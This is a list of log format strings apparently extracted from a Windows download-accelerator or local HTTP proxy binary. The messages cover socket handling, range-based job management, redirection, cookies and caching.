[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - Resume Acceleration command was set.
[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - Buffer switched, send COMMAND_JOB_FINISHED
[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - Using cache & complete writing
[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - The Peer is ready to be written into.
[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - Connection Closed command was set - NumberOfActiveConnections: %d
[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - 3G Connection Closed command was set - NumberOfActiveConnections3G: %d
[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - New Request Started command was set.
[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - New Request Added command was set.
[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - Abort Acceleration command was set.
[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - Start Accelerate command was set.
[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - Stop Acceleration command was set.
[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - NumberOfActiveWorkers3G: %d, NumberOfActiveConnections3G: %d
[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - NumberOfActiveWorkers: %d, NumberOfActiveConnections: %d
[HttpProxyRemote - %p] FDM=%d (%d).
[~HttpProxyRemote - %p] FDM=%d (%d).
[HttpProxyRemote::SetCookies] FDM=%d (%d),Req:%d - Cookies: %s
[HttpProxyRemote::UpdateJobRange] FDM=%d (%d),Req:%d - Job:%d completed!
[HttpProxyRemote::UpdateJobRange] FDM=%d (%d),Req:%d - Range: %lld-%lld was updated
[HttpProxyRemote::UpdateJobRange] FDM=%d (%d),Req:%d ___Error job info invalid
[HttpProxyRemote::UpdateJobRange] FDM=%d (%d),Req:%d - New Range: %lld-%lld
[HttpProxyRemote::IncrementBytesToDiscard] FDM=%d (%d),Req:%d - Job:%d completed!
[HttpProxyRemote::IncrementBytesToDiscard] FDM=%d (%d),Req:%d ___Error Job info invalid
[HttpProxyRemote::DisableRedirectionOnConnection] FDM=%d (%d),Req:%d ___Error adding the port %d to the ignored list
[HttpProxyRemote::DisableRedirectionOnConnection] FDM=%d (%d),Req:%d socket %d - add the port %d to the ignored list
[HttpProxyRemote::DisableRedirectionOnConnection] FDM=%d (%d),Req:%d ___Error IRedirectController = NULL
[HttpProxyRemote::DisableRedirectionOnConnection] FDM=%d (%d),Req:%d ___Error: The function getpeername failed, LE: %d
[HttpProxyRemote::DisableRedirectionOnConnection] FDM=%d (%d),Req:%d ___Error binding to the socket %d
[HttpProxyRemote::DisableRedirectionOnConnection] FDM=%d (%d),Req:%d ___Error: the socket object is null.
[HttpProxyRemote::DisableRedirectionOnConnection] FDM=%d (%d),Req:%d ___Error: the current status is %s.
[HttpProxyRemote::Stop] FDM=%d (%d),Req:%d - Worker was stopped.
[HttpProxyRemote::Stop] FDM=%d (%d),Req:%d - Stopping Worker...
[HttpProxyRemote::SocketReadyToReadFrom] FDM=%d (%d),Req:%d - Request was written to Local
[HttpProxyRemote::SocketReadyToReadFrom] FDM=%d (%d),Req:%d - Going to write request to Local
[HttpProxyRemote::SocketReadyToReadFrom] FDM=%d (%d),Req:%d - Read %d bytes from socket %d
[HttpProxyRemote::SocketReadyToReadFrom] FDM=%d (%d),Req:%d ___Error: Reading from socket %d
[HttpProxyRemote::SocketReadyToReadFrom] FDM=%d (%d),Req:%d - Reading from socket %d
[HttpProxyRemote::SocketReadyToReadFrom] FDM=%d (%d),Req:%d ___Error: the Job object is null.
[HttpProxyRemote::SocketReadyToReadFrom] FDM=%d (%d),Req:%d ___Error: the socket object is null.
[HttpProxyRemote::SocketReadyToReadFrom] FDM=%d (%d),Req:%d ___Error: the current download state is %s.
[HttpProxyRemote::GetFlvDataHeaderBytesToDiscard] FDM=%d (%d),Req:%d Discard Data Header: %lld
[HttpProxyRemote::GetMp4DataHeaderBytesToDiscard] FDM=%d (%d),Req:%d Discard Data Header: %lld
[HttpProxyRemote::GetMp4DataHeaderBytesToDiscard] FDM=%d (%d),Req:%d. Header Analize not complete - Accumulated: %d
[HttpProxyRemote::ReconnectReset] ___Error FDM=%d (%d),Req:%d - Invalid JobInfo
[HttpProxyRemote::ReconnectReset] FDM=%d (%d),Req:%d - Bytes Downloaded: %lld, Bytes Written: %lld
[HttpProxyRemote::CloseSocket] FDM=%d (%d),Req:%d - socket %d - close: %d
[HttpProxyRemote::ReConnectToDomain] FDM=%d (%d),Req:%d *** Going to delete the previous socket %d ***.
[HttpProxyRemote::ReConnectToDomain] FDM=%d (%d),Req:%d ___Warning Cannot empty buffer from socket !!!.
[HttpProxyRemote::ReConnectToDomain] FDM=%d (%d),Req:%d *** ReConnecting to the domain ***.
[HttpProxyRemote::WriteCachedBufferToSocket] FDM=%d (%d),Req:%d - Wrote %d/%d bytes to Socket %d.
[HttpProxyRemote::WriteCachedBufferToSocket] FDM=%d (%d),Req:%d ___Error writing the request.
[HttpProxyRemote::WriteCachedBufferToSocket] FDM=%d (%d),Req:%d ___Error: the socket object is NULL.
[HttpProxyRemote::WriteCachedBufferToSocket] FDM=%d (%d),Req:%d ___Warning - switching to Transparent mode (not HTTP)
[HttpProxyRemote::WriteCachedBufferToSocket] FDM=%d (%d),Req:%d ___Warning - switching to Transparent mode (CONNECT request)
[HttpProxyRemote::WriteCachedBufferToSocket] FDM=%d (%d),Req:%d - Going to write %d bytes to socket %d.
[HttpProxyRemote::WriteCachedBufferToSocket] FDM=%d (%d),Req:%d ___Error: the socket object is null.
[HttpProxyRemote::WriteCachedBufferToSocket] FDM=%d (%d),Req:%d ___Error writing the request. (status is %s).
HttpProxyRemote::WriteCachedBufferToSocket
[HttpProxyRemote::WriteCachedBufferToSocket] FDM=%d (%d),Req:%d ___Warning invalid job info
[HttpProxyRemote::ConnectToDomain] FDM=%d (%d),Req:%d ___Error connecting to IP %s:%d. LE:%d
[HttpProxyRemote::ConnectToDomain] FDM=%d (%d),Req:%d - Connected to IP - %s:%d
[HttpProxyRemote::ConnectToDomain] FDM=%d (%d),Req:%d - Connecting to IP - %s:%d
[HttpProxyRemote::ConnectToDomain] FDM=%d (%d),Req:%d ___Error invalid socket object
[HttpProxyRemote::ConnectToDomain] FDM=%d (%d),Req:%d *** Going to initialize a new socket ***.
[HttpProxyRemote::ConnectToDomain] FDM=%d (%d),Req:%d ___Error Resolving IP: %s. The function SafeGetHostByName falied.
HttpProxyRemote::ConnectToDomain
[HttpProxyRemote::ConnectToDomain] FDM=%d (%d),Req:%d - *** Already connected to IP %s:%d *** (Reused)
[HttpProxyRemote::ConnectToDomain] FDM=%d (%d),Req:%d ___Error job info invalid
[HttpProxyRemote::ConnectToDomain] FDM=%d (%d),Req:%d
[HttpProxyRemote::Finish] FDM=%d (%d), Req:%d - Worker Finished !
[HttpProxyRemote::Finish] FDM=%d (%d),Req:%d - Worker finished downloading it's range.
[HttpProxyRemote::Finish] FDM=%d (%d), Req:%d
[HttpProxyRemote::SocketWasConnected] FDM=%d (%d),Req:%d - Remote: %s: %d, socket %d
[HttpProxyRemote::SocketWasConnected] FDM=%d (%d),Req:%d ___Error IAsyncSocket invalid
[HttpProxyRemote::SocketWasConnected] FDM=%d (%d),Req:%d - Connect Time: %d ms (3G: %d)
[HttpProxyRemote::SocketWasConnected] FDM=%d (%d),Req:%d
[HttpProxyRemote::SocketWasClosed] Remote: %s:%d, socket %d
[HttpProxyRemote::SocketWasClosed] FDM=%d (%d),Req:%d, Job:%d - DownloadState:%d
[HttpProxyRemote::SocketWasClosed] FDM=%d (%d),Req:%d, Job:%d - SocketReadyToReadFrom
[HttpProxyRemote::SocketWasClosed] FDM=%d (%d),Req:%d, Job:%d
[HttpProxyRemote::GetDataHeaderBytesToDiscard] FDM=%d (%d),Req:%d - Need to accumulate more data...
[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - Worker is switching back to HEADER state
[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - *** Finished downloading the request (DATA) ***. (wrote %lld data bytes).
[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d ___Error writing the data
[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - Shift Socket Buffer ->>>- Worker is switching back to HEADER state
[HttpProxyRemote::WriteToLocal] ___Error FDM=%d (%d),Req:%d - *** Validate Continuousness with next job ***
[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - %d bytes from the data written.
[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - Worker was stopped...
[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - FileDownloadMgr written: %d bytes.
[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - The Data size is %d/%d bytes.
[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - %lld Data bytes where discarded.
[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - %lld Data Header bytes for padding.
[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - %lld Data Header bytes where discarded.
[HttpProxyRemote::WriteToLocal] ___Error FDM=%d (%d),Req:%d *** Job Data not consistent after Recconnect ***
[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d ___Warning no data to send (accumulate data header).
[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d ___Warning no available data to send.
[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d ___Warning no data to send.
[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - Worker is in DATA state
[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - Worker is switching to DATA state (%d bytes)
[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - *** Finished downloading the request (HEADER) ***.
[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - Switching to DATA state
[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - Ignoring 1xx Response
[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d ___Error writing the header
[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - Header was already downloaded
[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - %d/%d bytes from the header written by FDM (Redirected: %d)
[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - %d/%d bytes from the header written by Remote worker
[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - %d/%d bytes from the new header written by Remote worker
[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d ___Error HttpParser ParseHeader
[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d ___Error HttpParser Initialize
[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d ___Error HttpHeader BuildHeader
[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - Response header was changed
[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - NO PassThrough mode after parse response
[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d ___Warning - switching to Transparent mode (not HTTP)
[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - IN PassThrough mode after parse response
[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - The header size is %d/%d bytes.
[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d ___Error The header is invalid - switch to PassThrough mode!
[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d ___Warning Header is incomplete
[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - Worker is in HEADER state
[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - NO PassThrough mode
[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - IN PassThrough mode
[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - Going to analyze %d bytes.
[HttpProxyRemote::SaveRedirectInfo] FDM=%d (%d),Req:%d - SetCookie: %s (Response)
[HttpProxyRemote::SaveRedirectInfo] FDM=%d (%d),Req:%d - SetCookie: %s (Request)
[HttpProxyRemote::UpdateRequest] FDM=%d (%d),Req:%d ___Error: The function BuildHeader field.
[HttpProxyRemote::UpdateRequest] FDM=%d (%d),Req:%d - GetCookie: %s
[HttpProxyRemote::UpdateRequest] FDM=%d (%d),Req:%d ___Error: The function SetRanges field.
[HttpProxyRemote::UpdateRequest] FDM=%d (%d),Req:%d ___Error ParseHeader
HttpProxyRemote::UpdateRequest
[HttpProxyRemote::UpdateRequest] FDM=%d (%d),Req:%d ___Error: the socket object is NULL.
[HttpProxyRemote::UpdateRequest] FDM=%d (%d),Req:%d - Redirected: %d
[HttpProxyRemote::ReStartCurrentJob] FDM=%d (%d),Req:%d ___Error: The function UpdateRequest failed.
[HttpProxyRemote::ReStartCurrentJob] FDM=%d (%d),Req:%d *** ReStarting the job ***.
[HttpProxyRemote::ReStartCurrentJob] FDM=%d (%d),Req:%d ___Error: The function UpdateDomainName %s failed.
[HttpProxyRemote::ReStartCurrentJob]
[HttpProxyRemote::ReStartCurrentJob] FDM=%d (%d),Req:%d ___Error: the socket object is NULL.
[HttpProxyRemote::ReStartCurrentJob] FDM=%d (%d),Req:%d ___Error - Reached max redirections: %d
[HttpProxyRemote::ErrorOnSocket] FDM=%d (%d),Req:%d, Job:%d ___Error - The error was not handled.
[HttpProxyRemote::ErrorOnSocket] FDM=%d (%d),Req:%d, Job:%d ___Error - Worker Status was set to WORKER_STATUS_ERROR.
[HttpProxyRemote::ErrorOnSocket] FDM=%d (%d),Req:%d, Job:%d ___Error - Job State was set to JOB_STATE_ERROR.
[HttpProxyRemote::ErrorOnSocket] FDM=%d (%d),Req:%d, Job:%d ___Error - The worker should be stopped - network error is Permanent !
[HttpProxyRemote::ErrorOnSocket] FDM=%d (%d),Req:%d, Job:%d ___Error - The worker should be stopped - reached Maximum errors !
[HttpProxyRemote::ErrorOnSocket] FDM=%d (%d),Req:%d, Job:%d ___Error - Network Error severity: %d.
[HttpProxyRemote::ErrorOnSocket] FDM=%d (%d),Req:%d, Job:%d ___Error - m_DownloadState: %d, Errors: %d.
[HttpProxyRemote::ErrorOnSocket] FDM=%d (%d),Req:%d, Job:%d, JobState:%d ___Error - range download flag is %d, m_DownloadState: %d, Errors: %d.
[HttpProxyRemote::ErrorOnSocket] FDM=%d (%d),Req:%d, Job:%d - Completed !
[HttpProxyRemote::UpdateParameters] ___Error invalid job or request
[HttpProxyRemote::UpdateParameters] FDM=%d (%d),Req:%d - Already connected
[HttpProxyRemote::UpdateParameters] FDM=%d (%d),Req:%d
[HttpProxyRemote::StartJob] FDM=%d (%d),Req:%d ___Warning: socket is not ready for writing.
[HttpProxyRemote::StartJob] FDM=%d (%d),Req:%d ___Warning: worker is not ready for download - State: %s
[HttpProxyRemote::StartJob] FDM=%d (%d),Req:%d - Already Connected to IP:%s.
[HttpProxyRemote::StartJob] FDM=%d (%d),Req:%d ___Error: The function UpdateParameters failed.
[HttpProxyRemote::StartJob] FDM=%d (%d),Req:%d - Starting %lld-%lld (size: %lld)
HttpProxyRemote::StartJob
[HttpProxyRemote::StartRecoveredJob] FDM=%d (%d),Req:%d
[RequestInfo::DownloadAccelerated] Req:%d - Accelerate: %d
[RequestInfo::SetPassThrough] Req:%d - ON
[RequestInfo] Req:%d
[~RequestInfo] Req:%d
https:
%s=%s%s%s
[HttpCookieJar::GetCookie] Removing cookie: %s
[HttpCookieJar::SetCookies] Removing cookie: %s
[NetworkEventsSink::RefreshSocket] socket %d - Refreshed
[NetworkEventsSink::RefreshSocket] ___Error WSAAsyncSelect on socket %d. LE: %d
[NetworkEventsSink::RefreshAsyncSocket] socket %d - Refreshed
[NetworkEventsSink::RefreshAsyncSocket] ___Error AsyncSelect on socket %d. LE: %d
[NetworkEventsSink::ClearSocketMessages] Messages: %d
[NetworkEventsSink::Find] socket %d - was found.
[NetworkEventsSink::Find] socket %d
[NetworkEventsSink::RemoveFromSocketsMap] socket %d - was removed from the sockets map.
[NetworkEventsSink::RemoveFromSocketsMap] socket %d - was not found in the sockets map.
[NetworkEventsSink::RemoveFromSocketsMap] socket %d
[NetworkEventsSink::WindowProc] Finished %s (%d) on socket %d. Err: %d
[NetworkEventsSink::WindowProc] ___Error %s occured (event %x) on socket %d
[NetworkEventsSink::WindowProc] *** %s occured on socket %d, Err: %d.
UNSUPPORTED_EVENT
[NetworkEventsSink::Work] ___Error creating a windows. LE: %d.
[NetworkEventsSink::Work] The class %s was register.
[NetworkEventsSink::Work] ___Error register the class %s. LE: %d
[NetworkEventsSink::RemoveSocket] socket %d - Removed from events sink.
[NetworkEventsSink::RemoveSocket] ___Error removeing socket %d from sockets map.
[NetworkEventsSink::RemoveSocket] ___Error WSAAsyncSelect on socket %d. LE: %d.
[NetworkEventsSink::RemoveAsyncSocket] socket %d - Removed from events sink
[NetworkEventsSink::RemoveAsyncSocket] ___Error removeing socket %d from sockets map.
[NetworkEventsSink::RemoveAsyncSocket] ___Error AsyncSelect on socket %d. LE: %d
[NetworkEventsSink::AddToSocketsMap] ___Warning - socket %d already exists in sockets map.
[NetworkEventsSink::AddToSocketsMap] socket %d - was added to sockets map.
[NetworkEventsSink::AddSocket] socket %d - Added events sink.
[NetworkEventsSink::AddSocket] ___Error WSAAsyncSelect on socket %d. LE: %d
[NetworkEventsSink::AddSocket] ___Error adding socket %d to sockets map.
[NetworkEventsSink::AddAsyncSocket] socket %d - Added to events sink
[NetworkEventsSink::AddAsyncSocket] ___Error AsyncSelect on socket %d. LE: %d
[NetworkEventsSink::AddAsyncSocket] ___Error adding socket %d to sockets map.
[CNetworkInterfaceManager::GetNumberOfInterfaces] Count: %d
[CNetworkInterfaceManager::RegisterInterfaceEvents] Total: %d
[CNetworkInterfaceManager::GetCellularInterfaceAddress] %s - %s
[CNetworkInterfaceManager::GetWifiInterfaceAddress] %s - %s
[CNetworkInterfaceManager::UnRegisterInterfaceEvents] Total: %d
[CNetworkInterfaceManager::VerifyInterface] Network Interface: %s
[CNetworkInterfaceManager::UpdateLocalIPs] Total: %d
[CNetworkInterfaceManager::UpdateLocalIPs] LocalHost IP: %s
[CHttpCacheManager::Cleanup] Cleanup, LastAccess: %d, LastCleanup: %d
[CHttpCacheManager::CreateCacheData] Cleanup, LastAccess: %d, LastCleanup: %d
[CHttpCacheManager::FindCacheData] Url: %s
Cookie: %s
[CHttpCacheManager::DestroyCacheData] Url: %s
[CHttpCacheManager::StopAllCaching] Try to stop - CD:%d, Domain: %s
[CHttpCacheManager::StopAllCaching]
[CHttpCacheManager::Work] ...Leave
[CHttpCacheManager::Work] Cleanup - LastAccess: %d, LastCleanup: %d, Interval: %d -> %d
[CHttpCacheManager::Work] Enter...
[AsyncSocket::Listen] ___Error listening on socket %d. LE: %d
[AsyncSocket::SetInternalFlag] socket %d - SOCKET_IS_CELLULAR: %d -> %d
[AsyncSocket::SetInternalFlag] socket %d - SOCKET_CAN_BE_WRITE_TO: %d -> %d
[AsyncSocket::SetInternalFlag] socket %d - SOCKET_CAN_BE_READ_FROM: %d -> %d
[AsyncSocket::SetInternalFlag] socket %d - SOCKET_CONNECTION_ESTABLISHED: %d -> %d
[AsyncSocket::GetInternalFlag] socket %d - SOCKET_IS_CELLULAR: %d
[AsyncSocket::GetInternalFlag] socket %d - SOCKET_CAN_BE_WRITE_TO: %d
[AsyncSocket::GetInternalFlag] socket %d - SOCKET_CAN_BE_READ_FROM: %d
[AsyncSocket::GetInternalFlag] socket %d - SOCKET_CONNECTION_ESTABLISHED: %d
[AsyncSocket::IsConnected] ___Warning Socket %d - not connected or invalid.
[AsyncSocket::IsConnected] ___Warning Socket %d - not connected. ret: %d, LE: %d
[AsyncSocket::Read] socket %d, Read: %d, Total: %lld
[AsyncSocket::Read] ___Warning - socket %d can't read from yet.
[AsyncSocket::Read] ___Error reading from socket %d. LE: %d
[AsyncSocket::Read] ___Warning - socket %d is not ready to read from.
[AsyncSocket::Write] socket %d, Written: %u, Total: %lld.
[AsyncSocket::Write] socket %d, Written: %u, Total: %lld. (BytesWrittenSinceLastSecond: %d)
[AsyncSocket::Write] ___Error - socket %d. LE: %d.
[AsyncSocket::Write] ___Warning - socket %d is not ready for writing. LE: WSAEWOULDBLOCK.
[AsyncSocket::Write] ___Warning - socket %d. LE: WSAENOBUFS, reducing buffer size...
[AsyncSocket::Write] ___Error - socket %d failed writing for %d seconds !!!
[AsyncSocket::Write] ___Warning - socket %d is not ready for writing (wait for FD_WRITE event).
[AsyncSocket::Write] ___Error - socket %d invalid.
[AsyncSocket::SetSockName] socket %d, IP: %s, Port: %u
%u.%u.%u.%u
[AsyncSocket::SetPeerName] socket %d, IP: %s, Port: %u
[AsyncSocket::SetMaximumBPSToWrite] socket %d - Max Bps: %d
[AsyncSocket::EnumNetworkEvents] socket %d - Events: %X, Signaled: %X
[AsyncSocket::Ioctl] socket %d, cmd: %d, argp: %p, pOverlapped: %p
[AsyncSocket::GetOverlappedResult] socket %d
[AsyncSocket] socket %d
[AsyncSocket::Initialize] socket %d was initialized.
[AsyncSocket::Initialize] ___Error registering on the network events for socket %d.
[AsyncSocket::Initialize] socket %d - changed SO_SNDBUF: %d
[AsyncSocket::Initialize] socket %d - SO_SNDBUF: %d
[AsyncSocket::UnInitialize] socket %d
[AsyncSocket::Close] socket %d, do nothing
[AsyncSocket::Close] socket %d ___Error RemoveIgnoredConnection
[AsyncSocket::Close] socket %d
[~AsyncSocket] socket %d
[AsyncSocket::Bind] ___Error binding socket %d to port: %u. LE: %d
[AsyncSocket::Bind] new socket %d - %s : %d
[AsyncSocket::Bind] socket %d - %s : %d
[AsyncSocket::Connect] socket %d - connected !
[AsyncSocket::Connect] ___Warning socket %d - Async connecting... LE: %d
[AsyncSocket::Connect] ___Error socket %d, LE: %d
[AsyncSocket::Connect] socket %d - Already connected !
[AsyncSocket::Connect] ___Error socket %d - Already connected to another IP: %s, Port: %u
[AsyncSocket::Connect] socket %d - IP: %s, Port: %u
[CProxyServerPassThrough::SocketReadyToWriteInto] FDM=%d (%d)
[CProxyServerPassThrough::SocketWasConnected] FDM=%d (%d)
[CProxyServerPassThrough::SocketWasClosed] FDM=%d (%d) - SocketReadyToReadFrom
[CProxyServerPassThrough::SocketWasClosed] FDM=%d (%d)
[CProxyServerPassThrough::ErrorOnSocket] FDM=%d (%d)
[CProxyServerPassThrough] FDM=%d
[CProxyServerPassThrough::DisableRedirectionOnConnection] FDM=%d (%d) ___Error adding port %d to ignore list
[CProxyServerPassThrough::DisableRedirectionOnConnection] FDM=%d (%d) socket %d - going to add port %d to ignore list
[CProxyServerPassThrough::DisableRedirectionOnConnection] FDM=%d (%d) ___Error invalid IRedirectController
[CProxyServerPassThrough::DisableRedirectionOnConnection] FDM=%d (%d) ___Error GetSockName, LE: %d
[CProxyServerPassThrough::DisableRedirectionOnConnection] FDM=%d (%d) ___Error binding socket %d, LE: %d
[CProxyServerPassThrough::DisableRedirectionOnConnection] FDM=%d (%d) ___Error invalid socket
[CProxyServerPassThrough::SocketReadyToReadFrom] FDM=%d (%d) - After writing %d bytes into upper level
[CProxyServerPassThrough::SocketReadyToReadFrom] FDM=%d (%d) - Going to write the %d bytes into the upper level
[CProxyServerPassThrough::SocketReadyToReadFrom] FDM=%d (%d) - Read %d bytes from socket %d
[CProxyServerPassThrough::SocketReadyToReadFrom] FDM=%d (%d) ___Error Reading from socket %d
[CProxyServerPassThrough::SocketReadyToReadFrom] FDM=%d (%d) - Reading from socket %d
[CProxyServerPassThrough::SocketReadyToReadFrom] FDM=%d (%d) ___Error invalid socket
[CProxyServerPassThrough::ConnectToServer] FDM=%d (%d) ___Error connecting, LE: %d
[CProxyServerPassThrough::ConnectToServer] FDM=%d (%d) - Connected to %s : %d
[CProxyServerPassThrough::ConnectToServer] FDM=%d (%d) - Connecting to %s : %d
[HttpProxyServer::ConnectToServer] FDM=%d (%d) ___Error invalid socket
[CProxyServerPassThrough::GetDestinationIpAndPort] FDM=%d (%d) ___Error getting the destination details. Local: %s:%d
[CProxyServerPassThrough::GetDestinationIpAndPort] FDM=%d (%d) - Local: %s:%d, Remote: %s:%d, PID: %d
[CProxyServerPassThrough::GetDestinationIpAndPort] FDM=%d (%d) ___Error invalid IRedirectController
[CProxyServerPassThrough::IsPassThrough] FDM=%d (%d) ___Error GetDestinationIpAndPort
[CProxyServerPassThrough::IsPassThrough] FDM=%d (%d) ___Error getting the connected IP and Port
[CProxyServerPassThrough::AcceptConnection] FDM=%d (%d) ___Error ConnectToServer
[CProxyServerPassThrough::AcceptConnection] FDM=%d (%d) ___Error to initialize Worker: %d.
[CProxyServerPassThrough::AcceptConnection] FDM=%d (%d) - Going to initialize Worker: %d.
[CProxyServerPassThrough::AcceptConnection] FDM=%d (%d) ___Error not enough memory to allocate ProxyPeer.
[SubjectDataProperty::Serialize] ___Error not supported yet
[SubjectDataProperty::Deserialize] ___Error not supported yet
m_PropertyValue.pszValue
m_PropertyValue.pValue
[SubjectDataProperty::GetValue(int)] ___WARNING: m_PropertyType is: %d
[SubjectDataProperty::GetValue(UINT)] ___WARNING: m_PropertyType is: %d
[SubjectDataProperty::GetValue(DWORD)] ___WARNING: m_PropertyType is: %d
[SubjectDataProperty::GetValue(char*)] ___Error: The buffer is too small (Internal Buffer Size: %d, Internal Buffer Size %d)
[SubjectDataProperty::GetValue(BYTE*)] ___Error: The buffer is too small (Internal Buffer Size: %d, Internal Buffer Size %d)
[CacheManager::GetCacheWriter] FDM=%d, Dummy - CacheWriter: %p
[CacheManager::GetCacheWriter] FDM=%d, Real - CacheWriter: %p
[CacheManager::Pause] FDM=%d
[CacheManager::Resume] FDM=%d
[CacheManager::SetCacheData] FDM=%d - CD:%d (pICacheData: %p)
[CacheManager::SetFileDownloadMgr] FDM=%d - pIFileDownloadMgr: %p, DownloadSize: %lld
[CacheManager::IsWritingComplete] FDM=%d *** Writing Completed *** (%lld >= %lld)
[CacheManager::StopCacheData] FDM=%d - CacheData has incomplete HTTP header - going to destroy it...
[CacheManager::StopCacheData] FDM=%d
[CacheManager::Stop] FDM=%d
[CacheManager::FindWorkerByRange] FDM=%d - Cache Worker Found!
[CacheManager::FindWorkerByRange] FDM=%d ... Cache Worker range: %lld-%lld
[CacheManager::FindWorkerByRange] FDM=%d ___Error pJobInfo invalid
[CacheManager::FindWorkerByRange] FDM=%d ___Error pICacheWorker invalid
[CacheManager::FindWorkerByRange] FDM=%d ___Error Cache Workers list is empty
[CacheManager::FindWorkerByRange] FDM=%d - Find Chache Worker of range: %lld-%lld
[CacheManager::WriteAvailableBuffer] FDM=%d *** Reached end of Workers list ***
[CacheManager::WriteAvailableBuffer] FDM=%d, CacheWorker: %p - Not finished yet. (status:%d)
[CacheManager::WriteAvailableBuffer] FDM=%d, CacheWorker: %p ___Warning Failed to write from cache. (status:%d)
[CacheManager::WriteAvailableBuffer] FDM=%d, CacheWorker: %p - WORKER_STATUS_ERROR
[CacheManager::WriteAvailableBuffer] FDM=%d, CacheWorker: %p - *** Set Active ***
[CacheManager::WriteAvailableBuffer] FDM=%d, CacheWorker: %p - *** Cache Worker Finished ***
[CacheManager::WriteAvailableBuffer] FDM=%d *** Cache Manager Finished ***
[CacheManager::WriteAvailableBuffer] FDM=%d *** Workers list is empty ***
[CacheManager::WriteAvailableBuffer] FDM=%d - Not Working ! (State: %d)
[CacheManager::WriteAvailableBuffer] FDM=%d - State: %d
[CacheManager::RemoveAllWorkers] FDM=%d
[~CacheManager - %p] FDM=%d
[CacheManager::Reset] FDM=%d
[CacheManager::CreateWorker] FDM=%d - Already has an Active CacheWorker: %p
[CacheManager::CreateWorker] FDM=%d - Set Active CacheWorker: %p
[CacheManager::CreateWorker] FDM=%d - Created CacheWorker: %p, Active is: %p
[JobsManager::MergeFailedJobs] Job:%d  = Job:%d
[JobsManager::CreateJob] Job:%d, %lld-%lld
[JobsManager::CreateJob] ___Warning Job:%d, %lld-%lld, already exist
[JobsManager::CreateTimeJob] Job:%d, %lld-0
[JobsManager::DestroyJob] Job:%d
[AccelerationLogicHD::GetInitialRanges] FDM=%d *** Range Size: %lld (%d)
[AccelerationLogicHD::GetInitialRanges] FDM=%d *** Time Range Size: %lld (%d)
[AccelerationLogicHD::GetInitialRanges] FDM=%d ___Error - Unknown algorithm
[AccelerationLogicHD::GetInitialRanges] FDM=%d - Update InitialRangeSize: %lld (bytes)
[AccelerationLogicHD::GetInitialRanges] FDM=%d ___Warning - Master downloaded more then its range (%lld > %lld). Reducing number of connection to %d
[AccelerationLogicHD::GetInitialRanges] FDM=%d ___Error Time Acceleration: LastTimeEndPosition   InitialTimeRangeSize > StartTimePosition   TotalPlayDuration (%lld   %lld > %lld   %lld)
[AccelerationLogicHD::GetInitialRanges] FDM=%d ___Error LastEndPosition >= StartPosition   DownloadSize - 1 (%lld >= %lld)
[AccelerationLogicHD::GetInitialRanges] FDM=%d ___Error RangeIndex > NumberOfConnections (%d > %d)
[AccelerationLogicHD::GetInitialRanges] FDM=%d ___Warning AccelerationLogic == AL_NO_ACCELERATION
[AccelerationLogicHD::SetTimeStartPosition] FDM=%d - Start Time Position: %lld (%lld)
[AccelerationLogicHD::SetLastTimeEndPosition] FDM=%d - Last Time End Position: %lld (%lld)
[AccelerationLogicHD::IsToUseOriginalRequest] Res = %s.
[AccelerationLogicHD::IsPartner] Partner = %d
[AccelerationLogicHD::CalculateRangeSizeLimit] ___Warning SizeLimit %d RangeSize cut from %d to %d
[AccelerationLogicHD::CalculateRangeSizeLimit] FDM=%d - Size limit: %lld
[AccelerationLogicHD::UpdateToRegistryValues] BufferingTime: %d
[AccelerationLogicHD::UpdateToRegistryValues] DelayTime: %d
[AccelerationLogicHD::CalculateNextRangeSize] FDM=%d - n64MinimumRangeSize: %lld
